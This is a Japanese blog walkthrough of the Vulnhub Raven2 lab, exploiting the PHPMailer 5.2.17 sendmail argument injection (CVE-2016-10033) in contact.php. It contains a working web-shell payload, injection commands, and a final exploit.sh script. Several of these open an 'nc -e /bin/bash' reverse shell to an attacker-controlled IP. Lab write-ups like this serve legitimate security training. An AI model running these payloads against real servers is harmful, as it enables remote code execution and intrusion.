【Vulnhub】Raven2をやってみた。

#はじめに
ホワイトボックステストの練習をしたかったので、ソースコードが与えられているという前提でVulnhubをやってみました。
そのためポートスキャンや権限昇格といった内容は省略しています。

このブログを参考にしています。こっちの方が分かりやすいかもしれません。
[Raven2 - Remote Command Execution]
(https://klezvirus.github.io/Misc/HTB-VH-OSWE/reviews/vulnhub/raven2/)

#Raven2
- サーバー名: Pentester Lab: XSS and MySQL FILE
- リリース日: 2018年11月9日
- 作者: William McCann
- シリーズ: Raven

#スキャン
`/var/www/html`ディレクトリ内のphpファイルは`contact.php`だけ。

```
root@Raven:/var/www/html# ls -l
total 232
-rw-r--r-- 1 root     root     13265 Aug 13  2018 about.html
-rw-r--r-- 1 root     root     10441 Aug 13  2018 contact.php
drwxr-xr-x 4 root     root      4096 Aug 12  2018 css
-rw-r--r-- 1 root     root     35226 Aug 12  2018 elements.html
drwxr-xr-x 2 root     root      4096 Aug 12  2018 fonts
drwxr-xr-x 5 root     root      4096 Aug 12  2018 img
-rw-r--r-- 1 root     root     16819 Aug 13  2018 index.html
drwxr-xr-x 3 root     root      4096 Aug 12  2018 js
drwxr-xr-x 4 root     root      4096 Aug 12  2018 scss
drwxr-xr-x 7 root     root      4096 Aug 12  2018 Security - Doc
-rw-r--r-- 1 root     root     11114 Nov  9  2018 service.html
-rw-r--r-- 1 root     root     15449 Aug 13  2018 team.html
drwxrwxrwx 7 root     root      4096 Jan 19 20:06 vendor
drwxrwxrwx 5 root     root      4096 Nov  9  2018 wordpress
```

`contact.php`は、PHPMailerプラグインを読み込み、パラメータからメッセージを作成して送信します。

```contact.php
<?php
if (isset($_REQUEST['action'])){
    $name=$_REQUEST['name'];
    $email=$_REQUEST['email'];
    $message=$_REQUEST['message'];
    if (($name=="")||($email=="")||($message=="")){
        echo "There are missing fields.";
    }else{
        require 'vendor/PHPMailerAutoload.php';
        $mail = new PHPMailer;
        $mail->Host = "localhost";
        $mail->setFrom($email, 'Vulnerable Server');
        $mail->addAddress('admin@vulnerable.com', 'Hacker');
        $mail->Subject  = "Message from $name";
        $mail->Body     = $message;
        if(!$mail->send()) {
            echo 'Message was not sent.';
            echo 'Mailer error: ' . $mail->ErrorInfo;
        } else {
            echo 'Message has been sent.';
        }
    }
}
?>
```

`/var/www/html/vendor/changelog.md`をチェックします。
PHPMailerのバージョンが5.2.17であることが分かりました。

```
tester@Raven:# cat vendor/changelog.md  | head -n 3
# ChangeLog
## Version 5.2.17 (December 9th 2016)
```

`vendor/SECURITY.md`をチェック。
PHPMailerバージョン5.2.17はCVE-2016-10033の脆弱性があるようです。

```
tester@Raven:# cat vendor/SECURITY.md
# Security notices relating to PHPMailer
Please disclose any vulnerabilities found responsibly - report any security problems found to the maintainers privately.
PHPMailer versions prior to 5.2.18 (released December 2016) are vulnerable to [CVE-2016-10033](https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-10033) a remote code execution vulnerability, responsibly reported by [Dawid Golunski](https://legalhackers.com).
```

#CVE-2016-10033

脆弱性を利用するため、CVE-2016-10033について調べていきます。
まずPHP `mail()`関数がどう定義されているかを確認します。

```
bool mail ( string $to , string $subject , string $message [, string $additional_headers [, string $additional_parameters ]] )
```
`mail()`には5つのパラメータがあり
1: 送信先
2: メールタイトル
3: メール本文
4: ヘッダ
5: オプション

今回は5番目のオプション（ `$additional_parameters` ）で文字列を渡しRCEを実行します。
`$additional_parameters`にユーザの入力を使用する場合は注意が必要で、ユーザの入力値を十分にチェックしておかないと、sendmailコマンドに任意のコマンドライン引数を渡されてしまうことになります。

`mail()`には、以下のようなオプションがあります。

-X : ログファイルを出力先指定できる。
今回は、`-X/www/backdoor.php`でログファイルを出力先指定を`/www/backdoor.php`に指定します。

```
-X logfile
Log all traffic in and out of mailers in the indicated log file. This should only be used as a last resort for debugging mailer bugs. It will log a lot of data very quickly.
```
-O : sendmailの設定値をoption=value形式で設定できる
`-OQueueDirectory=/tmp`でキューの保管場所を`/tmp`に指定します。

```
-O option=value
Set option to the specified value. This form uses long names.
```

#RCE

上記をふまえ、以下の方法でRCEを実行していきます。

 - `$additional_parameters`とその他の`mail()`パラメータをコントロールします。
 - 標的ユーザー（www-dataなど）の権限で書き込み可能なディレクトリを調べる。今回は、`/var/www/html`が書き込み可。
 - ペイロードは、`<?php  echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>`です。
 base64でエンコードされたコマンドを受け取り、system で実行、実行結果もbase64でエンコードする仕組みです。

```payload.php
$to = 'hacker@server.com';
$subject = '<?php echo "|".base64_encode(system(base64_decode($_GET["cmd"])))."|"; ?>';
$message = 'Pwned';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/www/backdoor.php';
mail($to, $subject, $message, $headers, $options);
```

バックドアを作成するコマンドは以下のとおりです。

```
tester@Raven:# $(printf '/usr/sbin/sendmail -f"injection\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server" @pwnd.com') 
```

コマンド実行後、ディレクトリ内のファイルを確認すると、ファイル`shell.php`が作成され、実行されたコマンドのログが残っていることが分かります。次にPHP ペイロードをどこに挿入できるかですが、`name`または`message`の二通りあります。

```contact.php
$name=$_REQUEST['name'];
$message=$_REQUEST['message'];
...
$mail->Subject  = "Message from $name";
$mail->Body     = $message;
```

以下のように手動でちゃんとバックドアが挿入されているかを確認できます。

```
tester@Raven:# $(echo '/usr/sbin/sendmail -f"d3adc0de\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server" @gmail.com')
To: Hacker <admin@vulnerable.com>
Subject: Message from ME
Header: Date: Mon, 20 Jan 2020 20:23:17 +1100
From: Vulnerable Server <"d3adc0de\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server" @gmail.com>
PWND!!<?php system('nc -e /bin/bash 192.168.56.1 444'); ?>
.
tester@Raven:# cat shell.php | grep '<?php'
29395 <<< PWND!!<?php system('nc -e /bin/bash 192.168.56.1 444'); ?>
29395 >>> PWND!!<?php system('nc -e /bin/bash 192.168.56.1 444'); ?>
29395 >>> PWND!!<?php system('nc -e /bin/bash 192.168.56.1 444'); ?>
29395 >>> PWND!!<?php system('nc -e /bin/bash 192.168.56.1 444'); ?>
```

最終的なエクスプロイトは以下のとおりです。

```exploit.sh
#!/bin/sh
echo "[*] Staring Listener on port 4444"
gnome-terminal -- nc -lvkp 4444 2>/dev/null

echo "[*] Writing shell on the filesystem"
curl -ksi -x $'http://127.0.0.1:8080' \
-X $'POST' -H $'Content-Type: multipart/form-data' \
-F $'action=submit' \
-F $'subject=No Subject' \
-F $'message=TEST' \
--form-string $'name=<?php system("nc -e /bin/bash MY_IP_ADRESS 4444");?>'\
--form-string $'email="injection\\\" -OQueueDirectory=/tmp -X/var/www/html/shell.php server" @pwnd.com' \
$'http://raven.local/contact.php' &>/dev/null

echo "[*] Triggering the reverse shell"
curl -ksi http://raven.local/shell.php -x http://127.0.0.1:8080 &>/dev/null
echo "[+] Done"
```